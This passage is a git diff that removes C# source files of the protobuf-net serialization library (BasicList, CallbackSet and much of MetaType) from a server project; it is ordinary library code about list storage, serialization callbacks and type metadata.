a/Server/Core/ProtoBuf/Meta/BasicList.cs b/Server/Core/ProtoBuf/Meta/BasicList.cs deleted file mode 100644 index d1537c7e..00000000 --- a/Server/Core/ProtoBuf/Meta/BasicList.cs +++ /dev/null @@ -1,303 +0,0 @@ -using System; -using System.Collections; - -namespace ProtoBuf.Meta -{ - internal sealed class MutableList : BasicList - { - /* Like BasicList, but allows existing values to be changed - */ - - public new object this[int index] - { - get { return head[index]; } - set { head[index] = value; } - } - - public void RemoveLast() - { - head.RemoveLastWithMutate(); - } - - public void Clear() - { - head.Clear(); - } - } - - internal class BasicList : IEnumerable - { - /* Requirements: - * - Fast access by index - * - Immutable in the tail, so a node can be read (iterated) without locking - * - Lock-free tail handling must match the memory mode; struct for Node - * wouldn't work as "read" would not be atomic - * - Only operation required is append, but this shouldn't go out of its - * way to be inefficient - * - Assume that the caller is handling thread-safety (to co-ordinate with - * other code); no attempt to be thread-safe - * - Assume that the data is private; internal data structure is allowed to - * be mutable (i.e. array is fine as long as we don't screw it up) - */ - private static readonly Node nil = new Node(null, 0); - - public void CopyTo(Array array, int offset) - { - head.CopyTo(array, offset); - } - - protected Node head = nil; - - public int Add(object value) - { - return (head = head.Append(value)).Length - 1; - } - - public object this[int index] - { - get { return head[index]; } - } - - //public object TryGet(int index) - //{ - // return head.TryGet(index); - //} - public void Trim() - { - head = head.Trim(); - } - - public int Count - { - get { return head.Length; } - } - - IEnumerator IEnumerable.GetEnumerator() - { - return new NodeEnumerator(head); - } - - public NodeEnumerator GetEnumerator() - { - return new NodeEnumerator(head); - } - - public struct NodeEnumerator : IEnumerator - { - private int position; - private readonly Node node; - - internal NodeEnumerator(Node node) - { - this.position = -1; - this.node = node; - } - - void IEnumerator.Reset() - { - position = -1; - } - - public object Current - { - get { return node[position]; } - } - - public bool MoveNext() - { - int len = node.Length; - return (position <= len) && (++position < len); - } - } - - internal sealed class Node - { - public object this[int index] - { - get - { - if (index >= 0 && index < length) - { - return data[index]; - } - throw new ArgumentOutOfRangeException("index"); - } - set - { - if (index >= 0 && index < length) - { - data[index] = value; - } - else - { - throw new ArgumentOutOfRangeException("index"); - } - } - } - - //public object TryGet(int index) - //{ - // return (index >= 0 && index < length) ? data[index] : null; - //} - private readonly object[] data; - - private int length; - - public int Length - { - get { return length; } - } - - internal Node(object[] data, int length) - { - Helpers.DebugAssert((data == null && length == 0) || - (data != null && length > 0 && length <= data.Length)); - this.data = data; - - this.length = length; - } - - public void RemoveLastWithMutate() - { - if (length == 0) throw new InvalidOperationException(); - length -= 1; - } - - public Node Append(object value) - { - object[] newData; - int newLength = length + 1; - if (data == null) - { - newData = new object[10]; - } - else if (length == data.Length) - { - newData = new object[data.Length*2]; - Array.Copy(data, newData, length); - } - else - { - newData = data; - } - newData[length] = value; - return new Node(newData, newLength); - } - - public Node Trim() - { - if (length == 0 || length == data.Length) return this; - object[] newData = new object[length]; - Array.Copy(data, newData, length); - return new Node(newData, length); - } - - internal int IndexOfString(string value) - { - for (int i = 0; i < length; i++) - { - if ((string) value == (string) data[i]) return i; - } - return -1; - } - - internal int IndexOfReference(object instance) - { - for (int i = 0; i < length; i++) - { - if ((object) instance == (object) data[i]) return i; - } // ^^^ (object) above should be preserved, even if this was typed; needs - // to be a reference check - return -1; - } - - internal int IndexOf(MatchPredicate predicate, object ctx) - { - for (int i = 0; i < length; i++) - { - if (predicate(data[i], ctx)) return i; - } - return -1; - } - - internal void CopyTo(Array array, int offset) - { - if (length > 0) - { - Array.Copy(data, 0, array, offset, length); - } - } - - internal void Clear() - { - if (data != null) - { - Array.Clear(data, 0, data.Length); - } - length = 0; - } - } - - internal int IndexOf(MatchPredicate predicate, object ctx) - { - return head.IndexOf(predicate, ctx); - } - - internal int IndexOfString(string value) - { - return head.IndexOfString(value); - } - - internal int IndexOfReference(object instance) - { - return head.IndexOfReference(instance); - } - - internal delegate bool MatchPredicate(object value, object ctx); - - internal bool Contains(object value) - { - foreach (object obj in this) - { - if (object.Equals(obj, value)) return true; - } - return false; - } - - internal sealed class Group - { - public readonly int First; - public readonly BasicList Items; - - public Group(int first) - { - this.First = first; - this.Items = new BasicList(); - } - } - - internal static BasicList GetContiguousGroups(int[] keys, object[] values) - { - if (keys == null) throw new ArgumentNullException("keys"); - if (values == null) throw new ArgumentNullException("values"); - if (values.Length < keys.Length) - throw new ArgumentException("Not all keys are covered by values", "values"); - BasicList outer = new BasicList(); - Group group = null; - for (int i = 0; i < keys.Length; i++) - { - if (i == 0 || keys[i] != keys[i - 1]) - { - group = null; - } - if (group == null) - { - group = new Group(keys[i]); - outer.Add(group); - } - group.Items.Add(values[i]); - } - return outer; - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/CallbackSet.cs b/Server/Core/ProtoBuf/Meta/CallbackSet.cs deleted file mode 100644 index d0bff643..00000000 --- a/Server/Core/ProtoBuf/Meta/CallbackSet.cs +++ /dev/null @@ -1,131 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents the set of serialization callbacks to be used when serializing/deserializing a type. - /// - public class CallbackSet - { - private readonly MetaType metaType; - - internal CallbackSet(MetaType metaType) - { - if (metaType == null) throw new ArgumentNullException("metaType"); - this.metaType = metaType; - } - - internal MethodInfo this[TypeModel.CallbackType callbackType] - { - get - { - switch (callbackType) - { - case TypeModel.CallbackType.BeforeSerialize: - return beforeSerialize; - case TypeModel.CallbackType.AfterSerialize: - return afterSerialize; - case TypeModel.CallbackType.BeforeDeserialize: - return beforeDeserialize; - case TypeModel.CallbackType.AfterDeserialize: - return afterDeserialize; - default: - throw new ArgumentException("Callback type not supported: " + callbackType.ToString(), - "callbackType"); - } - } - } - - internal static bool CheckCallbackParameters(TypeModel model, MethodInfo method) - { - ParameterInfo[] args = method.GetParameters(); - for (int i = 0; i < args.Length; i++) - { - Type paramType = args[i].ParameterType; - if (paramType == model.MapType(typeof (SerializationContext))) - { - } - else if (paramType == model.MapType(typeof (System.Type))) - { - } -#if PLAT_BINARYFORMATTER - else if(paramType == model.MapType(typeof(System.Runtime.Serialization.StreamingContext))) {} -#endif - else return false; - } - return true; - } - - private MethodInfo SanityCheckCallback(TypeModel model, MethodInfo callback) - { - metaType.ThrowIfFrozen(); - if (callback == null) return callback; // fine - if (callback.IsStatic) throw new ArgumentException("Callbacks cannot be static", "callback"); - if (callback.ReturnType != model.MapType(typeof (void)) - || !CheckCallbackParameters(model, callback)) - { - throw CreateInvalidCallbackSignature(callback); - } - return callback; - } - - internal static Exception CreateInvalidCallbackSignature(MethodInfo method) - { - return - new NotSupportedException("Invalid callback signature in " + method.DeclaringType.FullName + "." + - method.Name); - } - - private MethodInfo beforeSerialize, afterSerialize, beforeDeserialize, afterDeserialize; - - /// Called before serializing an instance - public MethodInfo BeforeSerialize - { - get { return beforeSerialize; } - set { beforeSerialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called before deserializing an instance - public MethodInfo BeforeDeserialize - { - get { return beforeDeserialize; } - set { beforeDeserialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called after serializing an instance - public MethodInfo AfterSerialize - { - get { return afterSerialize; } - set { afterSerialize = SanityCheckCallback(metaType.Model, value); } - } - - /// Called after deserializing an instance - public MethodInfo AfterDeserialize - { - get { return afterDeserialize; } - set { afterDeserialize = SanityCheckCallback(metaType.Model, value); } - } - - /// - /// True if any callback is set, else False - /// - public bool NonTrivial - { - get - { - return beforeSerialize != null || beforeDeserialize != null - || afterSerialize != null || afterDeserialize != null; - } - } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/MetaType.cs b/Server/Core/ProtoBuf/Meta/MetaType.cs deleted file mode 100644 index 66679175..00000000 --- a/Server/Core/ProtoBuf/Meta/MetaType.cs +++ /dev/null @@ -1,2069 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using System.Text; -using ProtoBuf.Serializers; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#if FEAT_COMPILER -using IKVM.Reflection.Emit; -#endif -#else -using System.Reflection; - -#if FEAT_COMPILER -using System.Reflection.Emit; -#endif -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents a type at runtime for use with protobuf, allowing the field mappings (etc) to be defined - /// - public class MetaType : ISerializerProxy - { - internal sealed class Comparer : IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as MetaType, y as MetaType); - } - - public int Compare(MetaType x, MetaType y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - -#if FX11 - return string.Compare(x.GetSchemaTypeName(), y.GetSchemaTypeName()); -#else - return string.Compare(x.GetSchemaTypeName(), y.GetSchemaTypeName(), StringComparison.Ordinal); -#endif - } - } - - /// - /// Get the name of the type being represented - /// - public override string ToString() - { - return type.ToString(); - } - - IProtoSerializer ISerializerProxy.Serializer - { - get { return Serializer; } - } - - private MetaType baseType; - - /// - /// Gets the base-type for this type - /// - public MetaType BaseType - { - get { return baseType; } - } - - internal TypeModel Model - { - get { return model; } - } - - /// - /// When used to compile a model, should public serialization/deserialzation methods - /// be included for this type? - /// - public bool IncludeSerializerMethod - { - // negated to minimize common-case / initializer - get { return !HasFlag(OPTIONS_PrivateOnApi); } - set { SetFlag(OPTIONS_PrivateOnApi, !value, true); } - } - - /// - /// Should this type be treated as a reference by default? - /// - public bool AsReferenceDefault - { - get { return HasFlag(OPTIONS_AsReferenceDefault); } - set { SetFlag(OPTIONS_AsReferenceDefault, value, true); } - } - - private BasicList subTypes; - - private bool IsValidSubType(Type subType) - { -#if WINRT - return typeInfo.IsAssignableFrom(subType.GetTypeInfo()); -#else - return type.IsAssignableFrom(subType); -#endif - } - - /// - /// Adds a known sub-type to the inheritance model - /// - public MetaType AddSubType(int fieldNumber, Type derivedType) - { - return AddSubType(fieldNumber, derivedType, DataFormat.Default); - } - - /// - /// Adds a known sub-type to the inheritance model - /// - public MetaType AddSubType(int fieldNumber, Type derivedType, DataFormat dataFormat) - { - if (derivedType == null) throw new ArgumentNullException("derivedType"); - if (fieldNumber < 1) throw new ArgumentOutOfRangeException("fieldNumber"); -#if WINRT - if (!(typeInfo.IsClass || typeInfo.IsInterface) || typeInfo.IsSealed) { -#else - if (!(type.IsClass || type.IsInterface) || type.IsSealed) - { -#endif - throw new InvalidOperationException("Sub-types can only be added to non-sealed classes"); - } - if (!IsValidSubType(derivedType)) - { - throw new ArgumentException(derivedType.Name + " is not a valid sub-type of " + type.Name, "derivedType"); - } - MetaType derivedMeta = model[derivedType]; - ThrowIfFrozen(); - derivedMeta.ThrowIfFrozen(); - SubType subType = new SubType(fieldNumber, derivedMeta, dataFormat); - ThrowIfFrozen(); - - derivedMeta.SetBaseType(this); // includes ThrowIfFrozen - if (subTypes == null) subTypes = new BasicList(); - subTypes.Add(subType); - return this; - } - -#if WINRT - internal static readonly TypeInfo ienumerable = typeof(IEnumerable).GetTypeInfo(); -#else - internal static readonly System.Type ienumerable = typeof (IEnumerable); -#endif - - private void SetBaseType(MetaType baseType) - { - if (baseType == null) throw new ArgumentNullException("baseType"); - if (this.baseType == baseType) return; - if (this.baseType != null) - throw new InvalidOperationException("A type can only participate in one inheritance hierarchy"); - - MetaType type = baseType; - while (type != null) - { - if (ReferenceEquals(type, this)) - throw new InvalidOperationException("Cyclic inheritance is not allowed"); - type = type.baseType; - } - this.baseType = baseType; - } - - private CallbackSet callbacks; - - /// - /// Indicates whether the current type has defined callbacks - /// - public bool HasCallbacks - { - get { return callbacks != null && callbacks.NonTrivial; } - } - - /// - /// Indicates whether the current type has defined subtypes - /// - public bool HasSubtypes - { - get { return subTypes != null && subTypes.Count != 0; } - } - - /// - /// Returns the set of callbacks defined for this type - /// - public CallbackSet Callbacks - { - get - { - if (callbacks == null) callbacks = new CallbackSet(this); - return callbacks; - } - } - - private bool IsValueType - { - get - { -#if WINRT - return typeInfo.IsValueType; -#else - return type.IsValueType; -#endif - } - } - - /// - /// Assigns the callbacks to use during serialiation/deserialization. - /// - /// The method (or null) called before serialization begins. - /// The method (or null) called when serialization is complete. - /// The method (or null) called before deserialization begins (or when a new instance is created during deserialization). - /// The method (or null) called when deserialization is complete. - /// The set of callbacks. - public MetaType SetCallbacks(MethodInfo beforeSerialize, MethodInfo afterSerialize, MethodInfo beforeDeserialize, - MethodInfo afterDeserialize) - { - CallbackSet callbacks = Callbacks; - callbacks.BeforeSerialize = beforeSerialize; - callbacks.AfterSerialize = afterSerialize; - callbacks.BeforeDeserialize = beforeDeserialize; - callbacks.AfterDeserialize = afterDeserialize; - return this; - } - - /// - /// Assigns the callbacks to use during serialiation/deserialization. - /// - /// The name of the method (or null) called before serialization begins. - /// The name of the method (or null) called when serialization is complete. - /// The name of the method (or null) called before deserialization begins (or when a new instance is created during deserialization). - /// The name of the method (or null) called when deserialization is complete. - /// The set of callbacks. - public MetaType SetCallbacks(string beforeSerialize, string afterSerialize, string beforeDeserialize, - string afterDeserialize) - { - if (IsValueType) throw new InvalidOperationException(); - CallbackSet callbacks = Callbacks; - callbacks.BeforeSerialize = ResolveMethod(beforeSerialize, true); - callbacks.AfterSerialize = ResolveMethod(afterSerialize, true); - callbacks.BeforeDeserialize = ResolveMethod(beforeDeserialize, true); - callbacks.AfterDeserialize = ResolveMethod(afterDeserialize, true); - return this; - } - - internal string GetSchemaTypeName() - { - if (surrogate != null) return model[surrogate].GetSchemaTypeName(); - - if (!Helpers.IsNullOrEmpty(name)) return name; - - string typeName = type.Name; -#if !NO_GENERICS - if (type -#if WINRT - .GetTypeInfo() -#endif - .IsGenericType) - { - StringBuilder sb = new StringBuilder(typeName); - int split = typeName.IndexOf('`'); - if (split >= 0) sb.Length = split; - foreach (Type arg in type -#if WINRT - .GetTypeInfo().GenericTypeArguments -#else - .GetGenericArguments() -#endif - ) - { - sb.Append('_'); - Type tmp = arg; - int key = model.GetKey(ref tmp); - MetaType mt; - if (key >= 0 && (mt = model[tmp]) != null && mt.surrogate == null) - // <=== need to exclude surrogate to avoid chance of infinite loop - { - sb.Append(mt.GetSchemaTypeName()); - } - else - { - sb.Append(tmp.Name); - } - } - return sb.ToString(); - } -#endif - return typeName; - } - - private string name; - - /// - /// Gets or sets the name of this contract. - /// - public string Name - { - get { return name; } - set - { - ThrowIfFrozen(); - name = value; - } - } - - private MethodInfo factory; - - /// - /// Designate a factory-method to use to create instances of this type - /// - public MetaType SetFactory(MethodInfo factory) - { - model.VerifyFactory(factory, type); - ThrowIfFrozen(); - this.factory = factory; - return this; - } - - - /// - /// Designate a factory-method to use to create instances of this type - /// - public MetaType SetFactory(string factory) - { - return SetFactory(ResolveMethod(factory, false)); - } - - private MethodInfo ResolveMethod(string name, bool instance) - { - if (Helpers.IsNullOrEmpty(name)) return null; -#if WINRT - return instance ? Helpers.GetInstanceMethod(typeInfo, name) : Helpers.GetStaticMethod(typeInfo, name); -#else - return instance ? Helpers.GetInstanceMethod(type, name) : Helpers.GetStaticMethod(type, name); -#endif - } - - private readonly RuntimeTypeModel model; - - internal static Exception InbuiltType(Type type) - { - return - new ArgumentException( - "Data of this type has inbuilt behaviour, and cannot be added to a model in this way: " + - type.FullName); - } - - internal MetaType(RuntimeTypeModel model, Type type, MethodInfo factory) - { - this.factory = factory; - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - IProtoSerializer coreSerializer = model.TryGetBasicTypeSerializer(type); - if (coreSerializer != null) - { - throw InbuiltType(type); - } - - this.type = type; -#if WINRT - this.typeInfo = type.GetTypeInfo(); -#endif - this.model = model; - - if (Helpers.IsEnum(type)) - { -#if WINRT - EnumPassthru = typeInfo.IsDefined(typeof(FlagsAttribute), false); -#else - EnumPassthru = type.IsDefined(model.MapType(typeof (FlagsAttribute)), false); -#endif - } - } - -#if WINRT - private readonly TypeInfo typeInfo; -#endif - - /// - /// Throws an exception if the type has been made immutable - /// - protected internal void ThrowIfFrozen() - { - if ((flags & OPTIONS_Frozen) != 0) - throw new InvalidOperationException( - "The type cannot be changed once a serializer has been generated for " + type.FullName); - } - - //internal void Freeze() { flags |= OPTIONS_Frozen; } - - private readonly Type type; - - /// - /// The runtime type that the meta-type represents - /// - public Type Type - { - get { return type; } - } - - private IProtoTypeSerializer serializer; - - internal IProtoTypeSerializer Serializer - { - get - { - if (serializer == null) - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); - if (serializer == null) - { - // double-check, but our main purpse with this lock is to ensure thread-safety with - // serializers needing to wait until another thread has finished adding the properties - SetFlag(OPTIONS_Frozen, true, false); - serializer = BuildSerializer(); -#if FEAT_COMPILER && !FX11 - if (model.AutoCompile) CompileInPlace(); -#endif - } - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - return serializer; - } - } - - internal bool IsList - { - get - { - Type itemType = IgnoreListHandling ? null : TypeModel.GetListItemType(model, type); - return itemType != null; - } - } - - private IProtoTypeSerializer BuildSerializer() - { - if (Helpers.IsEnum(type)) - { - return new TagDecorator(ProtoBuf.Serializer.ListItemTag, WireType.Variant, false, - new EnumSerializer(type, GetEnumMap())); - } - Type itemType = IgnoreListHandling ? null : TypeModel.GetListItemType(model, type); - if (itemType != null) - { - if (surrogate != null) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot use a surrogate"); - } - if (subTypes != null && subTypes.Count != 0) - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be subclassed"); - } - Type defaultType = null; - ResolveListTypes(model, type, ref itemType, ref defaultType); - ValueMember fakeMember = new ValueMember(model, ProtoBuf.Serializer.ListItemTag, type, itemType, - defaultType, DataFormat.Default); - return new TypeSerializer(model, type, new int[] {ProtoBuf.Serializer.ListItemTag}, - new IProtoSerializer[] {fakeMember.Serializer}, null, true, true, null, constructType, factory); - } - if (surrogate != null) - { - MetaType mt = model[surrogate], mtBase; - while ((mtBase = mt.baseType) != null) - { - mt = mtBase; - } - return new SurrogateSerializer(model, type, surrogate, mt.Serializer); - } - if (IsAutoTuple) - { - MemberInfo[] mapping; - ConstructorInfo ctor = ResolveTupleConstructor(type, out mapping); - if (ctor == null) throw new InvalidOperationException(); - return new TupleSerializer(model, ctor, mapping); - } - - - fields.Trim(); - int fieldCount = fields.Count; - int subTypeCount = subTypes == null ? 0 : subTypes.Count; - int[] fieldNumbers = new int[fieldCount + subTypeCount]; - IProtoSerializer[] serializers = new IProtoSerializer[fieldCount + subTypeCount]; - int i = 0; - if (subTypeCount != 0) - { - foreach (SubType subType in subTypes) - { -#if WINRT - if (!subType.DerivedType.IgnoreListHandling && ienumerable.IsAssignableFrom(subType.DerivedType.Type.GetTypeInfo())) -#else - if (!subType.DerivedType.IgnoreListHandling && - model.MapType(ienumerable).IsAssignableFrom(subType.DerivedType.Type)) -#endif - { - throw new ArgumentException( - "Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a subclass"); - } - fieldNumbers[i] = subType.FieldNumber; - serializers[i++] = subType.Serializer; - } - } - if (fieldCount != 0) - { - foreach (ValueMember member in fields) - { - fieldNumbers[i] = member.FieldNumber; - serializers[i++] = member.Serializer; - } - } - - BasicList baseCtorCallbacks = null; - MetaType tmp = BaseType; - - while (tmp != null) - { - MethodInfo method = tmp.HasCallbacks ? tmp.Callbacks.BeforeDeserialize : null; - if (method != null) - { - if (baseCtorCallbacks == null) baseCtorCallbacks = new BasicList(); - baseCtorCallbacks.Add(method); - } - tmp = tmp.BaseType; - } - MethodInfo[] arr = null; - if (baseCtorCallbacks != null) - { - arr = new MethodInfo[baseCtorCallbacks.Count]; - baseCtorCallbacks.CopyTo(arr, 0); - Array.Reverse(arr); - } - return new TypeSerializer(model, type, fieldNumbers, serializers, arr, baseType == null, UseConstructor, - callbacks, constructType, factory); - } - - [Flags] - internal enum AttributeFamily - { - None = 0, - ProtoBuf = 1, - DataContractSerialier = 2, - XmlSerializer = 4, - AutoTuple = 8 - } - - private static Type GetBaseType(MetaType type) - { -#if WINRT - return type.typeInfo.BaseType; -#else - return type.type.BaseType; -#endif - } - - internal static bool GetAsReferenceDefault(RuntimeTypeModel model, Type type) - { - if (type == null) throw new ArgumentNullException("type"); - if (Helpers.IsEnum(type)) return false; // never as-ref - AttributeMap[] typeAttribs = AttributeMap.Create(model, type, false); - for (int i = 0; i < typeAttribs.Length; i++) - { - if (typeAttribs[i].AttributeType.FullName == "ProtoBuf.ProtoContractAttribute") - { - object tmp; - if (typeAttribs[i].TryGet("AsReferenceDefault", out tmp)) return (bool) tmp; - } - } - return false; - } - - internal void ApplyDefaultBehaviour() - { - Type baseType = GetBaseType(this); - if (baseType != null && model.FindWithoutAdd(baseType) == null - && GetContractFamily(model, baseType, null) != MetaType.AttributeFamily.None) - { - model.FindOrAddAuto(baseType, true, false, false); - } - - AttributeMap[] typeAttribs = AttributeMap.Create(model, type, false); - AttributeFamily family = GetContractFamily(model, type, typeAttribs); - if (family == AttributeFamily.AutoTuple) - { - SetFlag(OPTIONS_AutoTuple, true, true); - } - bool isEnum = !EnumPassthru && Helpers.IsEnum(type); - if (family == AttributeFamily.None && !isEnum) return; // and you'd like me to do what, exactly? - BasicList partialIgnores = null, partialMembers = null; - int dataMemberOffset = 0, implicitFirstTag = 1; - bool inferTagByName = model.InferTagFromNameDefault; - ImplicitFields implicitMode = ImplicitFields.None; - string name = null; - for (int i = 0; i < typeAttribs.Length; i++) - { - AttributeMap item = (AttributeMap) typeAttribs[i]; - object tmp; - string fullAttributeTypeName = item.AttributeType.FullName; - if (!isEnum && fullAttributeTypeName == "ProtoBuf.ProtoIncludeAttribute") - { - int tag = 0; - if (item.TryGet("tag", out tmp)) tag = (int) tmp; - DataFormat dataFormat = DataFormat.Default; - if (item.TryGet("DataFormat", out tmp)) - { - dataFormat = (DataFormat) (int) tmp; - } - Type knownType = null; - try - { - if (item.TryGet("knownTypeName", out tmp)) - knownType = model.GetType((string) tmp, type -#if WINRT - .GetTypeInfo() -#endif - .Assembly); - else if (item.TryGet("knownType", out tmp)) knownType = (Type) tmp; - } - catch (Exception ex) - { - throw new InvalidOperationException("Unable to resolve sub-type of: " + type.FullName, ex); - } - if (knownType == null) - { - throw new InvalidOperationException("Unable to resolve sub-type of: " + type.FullName); - } - if (IsValidSubType(knownType)) AddSubType(tag, knownType, dataFormat); - } - - if (fullAttributeTypeName == "ProtoBuf.ProtoPartialIgnoreAttribute") - { - if (item.TryGet("MemberName", out tmp) && tmp != null) - { - if (partialIgnores == null) partialIgnores = new BasicList(); - partialIgnores.Add((string) tmp); - } - } - if (!isEnum && fullAttributeTypeName == "ProtoBuf.ProtoPartialMemberAttribute") - { - if (partialMembers == null) partialMembers = new BasicList(); - partialMembers.Add(item); - } - - if (fullAttributeTypeName == "ProtoBuf.ProtoContractAttribute") - { - if (item.TryGet("Name", out tmp)) name = (string) tmp; - if (Helpers.IsEnum(type)) - // note this is subtly different to isEnum; want to do this even if [Flags] - { -#if !FEAT_IKVM - // IKVM can't access EnumPassthruHasValue, but conveniently, InferTagFromName will only be returned if set via ctor or property - if (item.TryGet("EnumPassthruHasValue", false, out tmp) && (bool) tmp) -#endif - { - if (item.TryGet("EnumPassthru", out tmp)) - { - EnumPassthru = (bool) tmp; - if (EnumPassthru) isEnum = false; // no longer treated as an enum - } - } - } - else - { - if (item.TryGet("DataMemberOffset", out tmp)) dataMemberOffset = (int) tmp; - -#if !FEAT_IKVM - // IKVM can't access InferTagFromNameHasValue, but conveniently, InferTagFromName will only be returned if set via ctor or property - if (item.TryGet("InferTagFromNameHasValue", false, out tmp) && (bool) tmp) -#endif - { - if (item.TryGet("InferTagFromName", out tmp)) inferTagByName = (bool) tmp; - } - - if (item.TryGet("ImplicitFields", out tmp) && tmp != null) - { - implicitMode = (ImplicitFields) (int) tmp; - // note that this uses the bizarre unboxing rules of enums/underlying-types - } - - if (item.TryGet("SkipConstructor", out tmp)) UseConstructor = !(bool) tmp; - if (item.TryGet("IgnoreListHandling", out tmp)) IgnoreListHandling = (bool) tmp; - if (item.TryGet("AsReferenceDefault", out tmp)) AsReferenceDefault = (bool) tmp; - if (item.TryGet("ImplicitFirstTag", out tmp) && (int) tmp > 0) implicitFirstTag = (int) tmp; - } - } - - if (fullAttributeTypeName == "System.Runtime.Serialization.DataContractAttribute") - { - if (name == null && item.TryGet("Name", out tmp)) name = (string) tmp; - } - if (fullAttributeTypeName == "System.Xml.Serialization.XmlTypeAttribute") - { - if (name == null && item.TryGet("TypeName", out tmp)) name = (string) tmp; - } - } - if (!Helpers.IsNullOrEmpty(name)) Name = name; - if (implicitMode != ImplicitFields.None) - { - family &= AttributeFamily.ProtoBuf; // with implicit fields, **only** proto attributes are important - } - MethodInfo[] callbacks = null; - - BasicList members = new BasicList(); - -#if WINRT - System.Collections.Generic.IEnumerable foundList; - if(isEnum) { - foundList = type.GetRuntimeFields(); - } - else - { - System.Collections.Generic.List list = new System.Collections.Generic.List(); - foreach(PropertyInfo prop in type.GetRuntimeProperties()) { - MethodInfo getter = Helpers.GetGetMethod(prop, false, false); - if(getter != null && !getter.IsStatic) list.Add(prop); - } - foreach(FieldInfo fld in type.GetRuntimeFields()) if(fld.IsPublic && !fld.IsStatic) list.Add(fld); - foreach(MethodInfo mthd in type.GetRuntimeMethods()) if(mthd.IsPublic && !mthd.IsStatic) list.Add(mthd); - foundList = list; - } -#else - MemberInfo[] foundList = type.GetMembers(isEnum - ? BindingFlags.Public | BindingFlags.Static - : BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); -#endif - foreach (MemberInfo member in foundList) - { - if (member.DeclaringType != type) continue; - if (member.IsDefined(model.MapType(typeof (ProtoIgnoreAttribute)), true)) continue; - if (partialIgnores != null && partialIgnores.Contains(member.Name)) continue; - - bool forced = false, isPublic, isField; - Type effectiveType; - - - PropertyInfo property; - FieldInfo field; - MethodInfo method; - if ((property = member as PropertyInfo) != null) - { - if (isEnum) continue; // wasn't expecting any props! - - effectiveType = property.PropertyType; - isPublic = Helpers.GetGetMethod(property, false, false) != null; - isField = false; - ApplyDefaultBehaviour_AddMembers(model, family, isEnum, partialMembers, dataMemberOffset, - inferTagByName, implicitMode, members, member, ref forced, isPublic, isField, ref effectiveType); - } - else if ((field = member as FieldInfo) != null) - { - effectiveType = field.FieldType; - isPublic = field.IsPublic; - isField = true; - if (isEnum && !field.IsStatic) - { - // only care about static things on enums; WinRT has a __value instance field! - continue; - } - ApplyDefaultBehaviour_AddMembers(model, family, isEnum, partialMembers, dataMemberOffset, - inferTagByName, implicitMode, members, member, ref forced, isPublic, isField, ref effectiveType); - } - else if ((method = member as MethodInfo) != null) - { - if (isEnum) continue; - AttributeMap[] memberAttribs = AttributeMap.Create(model, method, false); - if (memberAttribs != null && memberAttribs.Length > 0) - { - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoBeforeSerializationAttribute", - ref callbacks, 0); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoAfterSerializationAttribute", - ref callbacks, 1); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoBeforeDeserializationAttribute", - ref callbacks, 2); - CheckForCallback(method, memberAttribs, "ProtoBuf.ProtoAfterDeserializationAttribute", - ref callbacks, 3); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnSerializingAttribute", - ref callbacks, 4); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnSerializedAttribute", - ref callbacks, 5); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnDeserializingAttribute", - ref callbacks, 6); - CheckForCallback(method, memberAttribs, "System.Runtime.Serialization.OnDeserializedAttribute", - ref callbacks, 7); - } - } - } - ProtoMemberAttribute[] arr = new ProtoMemberAttribute[members.Count]; - members.CopyTo(arr, 0); - - if (inferTagByName || implicitMode != ImplicitFields.None) - { - Array.Sort(arr); - int nextTag = implicitFirstTag; - foreach (ProtoMemberAttribute normalizedAttribute in arr) - { - if (!normalizedAttribute.TagIsPinned) // if ProtoMember etc sets a tag, we'll trust it - { - normalizedAttribute.Rebase(nextTag++); - } - } - } - - foreach (ProtoMemberAttribute normalizedAttribute in arr) - { - ValueMember vm = ApplyDefaultBehaviour(isEnum, normalizedAttribute); - if (vm != null) - { - Add(vm); - } - } - - if (callbacks != null) - { - SetCallbacks(Coalesce(callbacks, 0, 4), Coalesce(callbacks, 1, 5), - Coalesce(callbacks, 2, 6), Coalesce(callbacks, 3, 7)); - } - } - - private static void ApplyDefaultBehaviour_AddMembers(TypeModel model, AttributeFamily family, bool isEnum, - BasicList partialMembers, int dataMemberOffset, bool inferTagByName, ImplicitFields implicitMode, - BasicList members, MemberInfo member, ref bool forced, bool isPublic, bool isField, ref Type effectiveType) - { - switch (implicitMode) - { - case ImplicitFields.AllFields: - if (isField) forced = true; - break; - case ImplicitFields.AllPublic: - if (isPublic) forced = true; - break; - } - - // we just don't like delegate types ;p -#if WINRT - if (effectiveType.GetTypeInfo().IsSubclassOf(typeof(Delegate))) effectiveType = null; -#else - if (effectiveType.IsSubclassOf(model.MapType(typeof (Delegate)))) effectiveType = null; -#endif - if (effectiveType != null) - { - ProtoMemberAttribute normalizedAttribute = NormalizeProtoMember(model, member, family, forced, isEnum, - partialMembers, dataMemberOffset, inferTagByName); - if (normalizedAttribute != null) members.Add(normalizedAttribute); - } - } - - - private static MethodInfo Coalesce(MethodInfo[] arr, int x, int y) - { - MethodInfo mi = arr[x]; - if (mi == null) mi = arr[y]; - return mi; - } - - internal static AttributeFamily 